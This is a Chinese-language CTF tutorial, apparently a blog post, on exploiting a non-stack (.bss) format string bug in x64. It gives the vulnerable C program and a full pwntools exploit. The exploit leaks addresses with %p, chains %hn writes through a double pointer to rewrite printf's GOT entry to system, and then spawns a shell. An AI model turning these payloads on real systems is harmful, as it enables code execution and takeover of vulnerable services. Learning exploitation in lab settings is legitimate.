非栈上格式化字符串

格式化字符串基础

先看看格式化字符串%p和%hn的效果

image-20240204131807358

1
2
3
gdb.attach(io)
payload = b'%6$p'
io.send(payload)

image-20240204132835605

1
2
3
gdb.attach(io)
payload = f'%{0xffff}c%6$hn'.encode()
io.send(payload)

image-20240204133253563

这里因为没有后续输入,直接c会崩掉,断不到printf执行的地方,要ni单步执行到这个函数才能看到printf的效果

image-20240204133829112

image-20240204134033487

可以看出,%p是将栈中存放的内容泄露出来,而%hn是将栈中存放的内容作为一个指针,改写这个指针指向的位置的值,与%hn类似的还有%s,有兴趣的可以自己动手调试

例题

参考:b站国资社畜视频:

【你想有多pwn_第三章_第五课 非栈上格式化字符串上x64_x2】 https://www.bilibili.com/video/BV1BS4y157kA/?share_source=copy_web&vd_source=699876776b02bb02021ed91dccb18b7e

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char buf[200];
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}

void do_fmt(){
while(1){
read(0, buf, 200);
if(!strncmp(buf, "quit", 4)) break;
printf(buf);
}
return ;
}

void play(){
puts("hello");
do_fmt();
return ;
}

int main(){
init_func();
play();

return 0;
}
//gcc playfmt_64.c -z lazy -o fmt_bss_64

无限次输入,随便我们改

先输aaaaaaaa看下栈视图

image-20240203212427505

image-20240203212350207

因为aaaaaaaa被存到全局变量buf中,所以会被存放到bss段中,栈上不能任意布置地址

利用思路:

利用图中的二级指针(如本题中bp就是一个二级指针)

image-20240204135401996

1.通过对二级指针的第一级指针进行%hn操作,将二级指针的第二级指针指向栈上的一个空间,如0x7fffffffdfc8

image-20240204135909631

2.再通过对二级指针的第二级指针进行%hn操作,将栈上空间的值修改为要修改的地址,如这里改为printf_got

image-20240204141051214

3.再通过对栈空间进行%hn操作,将printf_got低8位修改为0xdeadbeef

image-20240204141241093

然而,因为bss段上格式化字符串的特殊性,一次写太多个字节会写不进去(原因是因为%Xc是读X个字符,但是从printf栈开始的位置算,并没有X个字符),所以如果我们想要实现如上图将printf_got表的低八位修改为0xdeadbeef的话,则至少通过两次%hn,如果想要实现修改为任意地址,则至少需要修改四次,所以我们需要四个不同的栈空间,分别指向printf_got,printf_got+2,printf_got+4,printf_got+6,然后用二级指针分别指向这些栈空间,也就是说,上面的三步我们得重复执行4次才能修改成为任意地址

具体实现:

在进行以上操作之前,我们需要先将栈空间地址,文件基地址,libc基地址泄露出来:

image-20240204142508738

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
elf = ELF('./image/blog/fmt_bssfmt_bss_64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# leak bp & main & libc
payload_leak = b'%6$p%9$p%31$p\x00'
io.recvuntil(b'hello')
io.send(payload_leak)
print(io.recvline())
bp_10 = int(io.recv(14), 16) # 泄露出来的是bp+0x10的地址
print("bp_10 =",hex(bp_10))
main_28 = int(io.recv(14), 16)
elf_base = main_28 - elf.sym['main'] - 28
print("elf_base =",hex(elf_base))
libc_start_main_128 = int(io.recv(14), 16)
libc_base = libc_start_main_128 - libc.sym['__libc_start_main'] - 128
print("libc_base =", hex(libc_base))
printf_got = elf.got['printf'] + elf_base
print('printf_got =', hex(printf_got))

我们选择这四个栈空间,将printf_got修改为system的实际地址

image-20240204144006609

指向libc_start_call_main的地址因为需要修改的次数太多,所以不能用(或者说不好用),其他几个只需要修改低四位即可

第一次:

1
2
3
4
5
6
7
8
9
10
11
# 1
# make double linked pointer point to controlled(to be controlled) stack1
num1 = bp_10 - 8 & 0xffff
print("num1 =", hex(num1))
payload_double_pointer = f'%{num1}c%6$hn\x00'
io.send(payload_double_pointer)
# change the controlled stack1's content to the printf_got's lowest 2 bits
printf_got_num1 = printf_got & 0xffff
print("printf_got_num1 =", hex(printf_got_num1))
payload1 = f'%{printf_got_num1}c%8$hn\x00'
io.send(payload1)

image-20240204144610002

第二次:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 2
# make double linked pointer point to controlled(to be controlled) stack2
num2 = bp_10 + 8 & 0xffff
print("num2 =", hex(num2))
payload_double_pointer = f'%{num2}c%6$hn\x00'
io.send(payload_double_pointer)
io.interactive()
io.send(payload_double_pointer)
io.interactive()
# change the controlled stack2's content to the printf_got's second lowest 2 bits
printf_got_num2 = (printf_got + 2) & 0xffff
print("printf_got_num2 =", hex(printf_got_num2))
payload2 = f'%{printf_got_num2}c%8$hn\x00'
io.send(payload2)
io.interactive()

image-20240204144717020

第三次:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 3
# make double linked pointer point to controlled(to be controlled) stack3
num3 = bp_10 + 0x28 & 0xffff
print("num3 =", hex(num3))
payload_double_pointer = f'%{num3}c%6$hn\x00'
io.send(payload_double_pointer)
io.interactive()
# change the controlled stack3's content to the printf_got's third lowest 2 bits
printf_got_num3 = (printf_got + 4) & 0xffff
print("printf_got_num3 =", hex(printf_got_num3))
payload3 = f'%{printf_got_num3}c%8$hn'
io.send(payload3)
io.interactive()

image-20240204144743821

第四次:

1
2
3
4
5
6
7
8
9
10
11
12
# 4
# make double linked pointer point to controlled(to be controlled) stack4
num4 = bp_10 + 0x58 & 0xffff
print("num4 =", hex(num4))
payload_double_pointer = f'%{num4}c%6$hn\x00'
io.send(payload_double_pointer)
io.interactive()
# change the controlled stack4's content to the printf_got's fourth lowest 2 bits
printf_got_num4 = (printf_got + 6) & 0xffff
print("printf_got_num4 =", hex(printf_got_num4))
payload4 = f'%{printf_got_num4}c%8$hn\x00'
io.send(payload4)

image-20240204144904932

至此,四个栈空间的内容已经被我们修改完毕,接下来,通过对上图绿框对应的偏移进行%hn即可修改got表值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# change the printf_got's content one by one
system = libc_base + libc.sym['system']
system1 = system & 0xffff
system2 = system >> 16 & 0xffff
system3 = system >> 32 & 0xffff
system4 = system >> 48 & 0xffff
offset_list = ['0', '7', '9', '13', '19']
payload = f'%{system1}c%{offset_list[1]}$hn'
payload += f'%{(system2 - system1 + 0x10000) % 0x10000}c%{offset_list[2]}$hn'
payload += f'%{(system3 - system2 + 0x10000) % 0x10000}c%{offset_list[3]}$hn'
# payload += f'%{(system4 - system3 + 0x10000) % 0x10000}c%{offset_list[4]}$hn'
io.send(payload)
io.interactive()
print("system =", hex(system))

需要注意的是,我们是在一个格式化字符串中实现的理论上四步修改got表的操作,所以第二个f”%{num_2}c%hn”中的num_2就应该是第二个应该写入的值减去已经写入的字节数,也就是num1 = system1

那么假如第二个写入的值比第一个小,如第一次写入0x6789,第二次写入0x1234,那么已经写入的字节数已经是0x6789了,怎么办呢?

这时候我们可以用0x1234 - 0x6789,结果是0xffffffffffffaaab,将其对0x10000进行取余操作,就能得到0xaaab,也就能在格式化字符串中实现写入0x6789 + 0xaaab = 0x11234个字节,由于我们用的是%hn,所以最高位的1就不会被写入,从而只会写入0x1234个字节

在第三次写入的时候,我们就可以认为之前总共写入的字节数为0x1234而不是0x11234,那么同理,我们用第三次需要写入的字节数减0x1234,也就是第二次写入的字节数再对0x10000取余即可。(第四次同理)

image-20240204150533296

接下来输入/bin/sh即可get shell

1
2
3
io.send(b'/bin/sh')
print("get shell")
io.interactive()

image-20240204154517633

代码中间有很多io.interactive(),是因为调试时发现b printf后用c断不到printf处(可能是因为输出过多),没法继续调试。

加完之后每次在debug窗口出现continue的时候需要在程序窗口按下ctrl + c

image-20240204151618161